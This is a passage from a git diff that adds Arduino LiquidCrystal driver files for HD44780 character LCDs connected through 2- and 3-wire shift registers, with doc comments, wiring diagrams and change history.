is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(uint8_t); + + + uint8_t _Addr; // I2C Address of the IO expander + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + I2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + +}; + +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR.cpp b/libraries/LiquidCrystal/LiquidCrystal_SR.cpp new file mode 100644 index 0000000..67e6954 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR.cpp @@ -0,0 +1,209 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin is used for the enable signal by defining +// the same pin for Enable as for Data. Data and Clock outputs/pins goes to +// the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - Added delays for faster fio shiftout (it got too fast) +// AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32. +// Added code to support indicating two wire mode by using enable=data pin +// (documentation indicated this as working) +// Fixed incorrect use of 5x10 for default font - now matches original LQ library. +// can now eliminate enable pin in constructor for two wire mode. +// 2012.01.16 Florian Fida - faster digitalWrite/shiftOut +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduino +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR.h" + +#include "FastIO.h" + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, + uint8_t enable ) +{ + init ( srdata, srclock, enable, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, + uint8_t lines, uint8_t font) +{ + // Initialise private variables + _two_wire = 0; + + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataBit = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockBit = fio_pinToBit(srclock); + + if ((enable == TWO_WIRE) || (enable == srdata)) + { + _two_wire = 1; + _srEnableRegister = _srDataRegister; + _srEnableBit = _srDataBit; + } + else + { + _srEnableRegister = fio_pinToOutputRegister(enable); + _srEnableBit = fio_pinToBit(enable); + } + + // Configure control pins as outputs + // ------------------------------------------------------------------------ + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; +} + +// +// shiftIt +void LiquidCrystal_SR::shiftIt(uint8_t val) +{ + if (_two_wire) + { + // Clear to get Enable LOW + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit); + } + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST); + + // LCD ENABLE PULSE + // + // While this library is written with a shift register without an output + // latch in mind, it can work in 3-wire mode with a shiftregister with a + // latch. The shiftregister latch pin (STR, RCL or similar) is then + // connected to the LCD enable pin. The LCD is (very likely) slower + // to read the Enable pulse, and then reads the new contents of the SR. + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit); + waitUsec (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR::send(uint8_t value, uint8_t mode) +{ + // Divide byte in two nibbles include the RS signal + // and format it for shiftregister output wiring to the LCD + // We are only interested in my COMMAND or DATA for myMode + uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command. HIGH: character. + + if ( mode != FOUR_BITS ) + { + shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble + } + + shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble + /* + * Add some delay since this code is so fast it needs some added delay + * even on AVRs because the shiftout is shorter than the LCD command execution time. + */ +#if (F_CPU <= 16000000) + if(_two_wire) + delayMicroseconds ( 10 ); + else + delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + +// +// setBacklightPin +void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ } + +// +// setBacklight +void LiquidCrystal_SR::setBacklight ( uint8_t mode ) +{ } + diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR.h b/libraries/LiquidCrystal/LiquidCrystal_SR.h new file mode 100644 index 0000000..0d22022 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR.h @@ -0,0 +1,176 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin will be used for the enable signal. +// 2 wire mode can be indicated by: +// - ommitting the enable pin in constructor +// - defining the same pin for Enable as for Data in constructor +// - by using the token TWO_WIRE for the enable pin. +// +// Data and Clock outputs/pins goes to the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - can now eliminate enable pin in constructor for two wire mode. +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduiono +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR_ +#define _LIQUIDCRYSTAL_SR_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire indicator constant +// --------------------------------------------------------------------------- +#define TWO_WIRE 204 +#define SR_RS_BIT 0x04 +#define SR_EN_BIT 0x80 + +class LiquidCrystal_SR : public LCD +{ +public: + /*! + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD + */ + LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE ); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, + uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void shiftIt (uint8_t val); + + uint8_t _enable_pin; // Enable Pin + uint8_t _two_wire; // two wire mode + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataBit; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockBit; + fio_register _srEnableRegister; // Enable Pin + fio_bit _srEnableBit; + +}; + +#endif + diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp b/libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp new file mode 100644 index 0000000..df4559a --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp @@ -0,0 +1,135 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR2W.cpp +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// +// See the corresponding SR2W header file for full details. +// +// History +// 2012.03.29 bperrybap - Fixed incorrect use of 5x10 for default font +// (now matches original LQ library) +// Fixed typo in SR2W mask define names +// changed default backlight state to on +// 2012.03.16 bperrybap - created/modified from SR sources to create SR2W +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// --------------------------------------------------------------------------- + +#include "LiquidCrystal_SR2W.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol) +{ + init ( srdata, srclock, blpol, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font) +{ + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataMask = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockMask = fio_pinToBit(srclock); + + _blPolarity = blpol; + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + backlight(); // set default backlight state to on +} + +// +// loadSR +void LiquidCrystal_SR2W::loadSR(uint8_t val) +{ + // Clear to keep Enable LOW while clocking in new bits + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask); + + + // clock out SR data byte + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST); + + + // strobe LCD enable which can now be toggled by the data line + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srDataRegister, _srDataMask); + waitUsec (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode) +{ + uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; + + myMode = myMode | SR2W_EN_MASK | _blMask; + + if ( mode != FOUR_BITS ) + { + loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble + } + + loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble + + /* + * Don't call waitUsec() + * do our own delay optmization since this code is so fast it needs some added delay + * even on slower AVRs. + */ +#if (F_CPU <= 16000000) + delayMicroseconds ( 10 ); // commands & data writes need > 37us to complete +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif +} + +// +// setBacklight +void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) +{ + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if ( ((_blPolarity == POSITIVE) && (value > 0)) || + ((_blPolarity == NEGATIVE ) && ( value == 0 )) ) + { + _blMask = SR2W_BL_MASK; + } + else + { + _blMask = 0; + } + + // send dummy data of blMask to set BL pin + // Note: loadSR() will strobe the data line trying to pulse EN + // but E will not strobe because the EN output bit is not set. + loadSR(_blMask); +} diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR2W.h b/libraries/LiquidCrystal/LiquidCrystal_SR2W.h new file mode 100644 index 0000000..2bccb87 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR2W.h @@ -0,0 +1,202 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// @file LiquidCrystal_SR2W.h +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is the 2 wire shift register interface class for the LCD library +// +// The functionality provided by this class and its base class is a superset of +// the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// See the LCD class for a full description of the API functions available. +// +// It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// 74LS164 and 74HC595 have been exstensively tested. +// +// +// 2 Pins required from the Arduino: +// - Data/Enable +// - Clock +// The Data pin is also used to control the enable signal +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// Shift register bits +// Bit #0 - (cannot be used on 74HC595) +// Bit #1 - optional backlight control +// Bit #2 - connects to RS (Register Select) on the LCD +// Bit #3 - connects to LCD data inputs D4 +// Bit #4 - connects to LCD data inputs D5 +// Bit #5 - connects to LCD data inputs D6 +// Bit #6 - connects to LCD data inputs D7 +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// Wiring for a 74LS164 +// --------------------- +// 1k/4.7k +// +--------[ Resistor ]--------+---(LCD Enable) +// | | +// | 74LS164 (VCC) | +// | +----u----+ | _V_ diode +// (data pin)---+---+--1-|A VCC|-14-+ | +// | | | | +// +--2-|B Q7|-13------+ +// 3-|Q0 Q6|-12--(LCD D7) +// (BL Circuit)--------4-|Q1 Q5|-11--(LCD D6) +// (LCD RS)------------5-|Q2 Q4|-10--(LCD D5) +// (LCD D4)------------6-|Q3 /MR|--9--(VCC) +// +-7-|GND CP|--8--(clock pin) +// | +---------+ +// | 0.1uf +// (gnd)-----||----(vcc) +// +// Wiring for a 74HC595 +// -------------------- +// NOTE: the 74HC595 is a latching shift register. In order to get it to operate +// in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this +// is that the latched output is one clock behind behind the internal shift register bits. +// To compensate for this the wiring is offset by one bit position lower. +// For example, while the backlight is hooked to Q0 it is still using bit 1 of +// of the shift register because the outputs are 1 clock behind the real internal shift +// register. +// +// 74HC595 (VCC) +// +----u----+ | +-----------------------(BL circuit) +// (LCD RS)------------1-|Q1 VCC|-16-+ | +--------------------(data pin) +// (LCD D4)------------2-|Q2 Q0|-15----+ | 1k/4.7k +// (LCD D5)------------3-|Q3 SER|-14-------+---[ Resistor ]--+--(LCD Enable) +// (LCD D6)------------4-|Q4 /OE|-13--(gnd) | +// (LCD D7)------------5-|Q5 RCLK|-12-------+ | +// | | | | +// +------6-|Q6 SCLK|-11-------+--(clock pin) | +// | 7-|Q7 /MR|-10--(VCC) | +// | +-8-|GND Q6'|--9 | +// | | +---------+ diode _V_ +// | | 0.1uf | +// | (gnd)-----||----(vcc) | +// +-----------------------------------------------+ +// +// +// Backlight Control circuit +// ------------------------- +// Because the shift resiter is not latching the outputs, the backlight circuitry +// will "see" the output bits as they are shifted into the shift register which +// can cause the backlight to flicker rather than remain constantly on/off. +// The circuit below slows down the transitions to the transistor to remove +// the visible flicker. When the BL input is HIGH the LCD backlight will turn on. +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(vcc) +// +// (LCD BL cathode)-------------------------------+ +// | +// D +// | +// (BL input)----[ 4.7k Resistor ]----+-------G-|-< (2N7000 FET) +// | | +// (0.1uf) = S +// | | +// (gnd) (gnd) +// +// +// +// +// History +// 2012.03.16 bperrybap - creation/adaption from SR header to create SR2W header. +// Fixed typo in SR2W mask define names +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// -------------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR2W_ +#define _LIQUIDCRYSTAL_SR2W_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire SR output bit constants +// --------------------------------------------------------------------------- + +#define SR2W_BL_MASK 0x02 +#define SR2W_RS_MASK 0x04 +#define SR2W_DATA_MASK 0x78 // data bits are hard coded to be SR bits 6,5,4,3 +#define SR2W_EN_MASK 0x80 // cannot ever be changed + +class LiquidCrystal_SR2W : public LCD +{ +public: + /*! + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) + */ + LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void loadSR (uint8_t val); + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataMask; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockMask; + + uint8_t _blPolarity; + uint8_t _blMask; +}; +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp b/libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp new file mode 100644 index 0000000..6144c06 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp @@ -0,0 +1,283 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SRG.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// History +// 2012.03.29 bperrybap - fixed constructors not properly using Rs +// Fixed incorrect use of 5x10 for default font +// - now matches original LQ library. +// moved delay to send() so it is per cmd/write vs shiftout() +// NOTE: delay is on hairy edge of working when FAST_MODE is on. +// because of waitUsec(). +// There is margin at 16Mhz AVR but might fail on 20Mhz AVRs. +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +// flags for backlight control +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR3W.h" + +#include "FastIO.h" + +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable + */ +#define EN 4 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin + */ +#define RS 6 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); + setBacklightPin(backlighPin, pol); +} + + +void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode) +{ + + if ( mode != FOUR_BITS ) + { + write4bits( (value >> 4), mode ); // upper nibble + } + write4bits( (value & 0x0F), mode); // lower nibble + + +#if (F_CPU <= 16000000) + // No need to use the delay routines on AVR 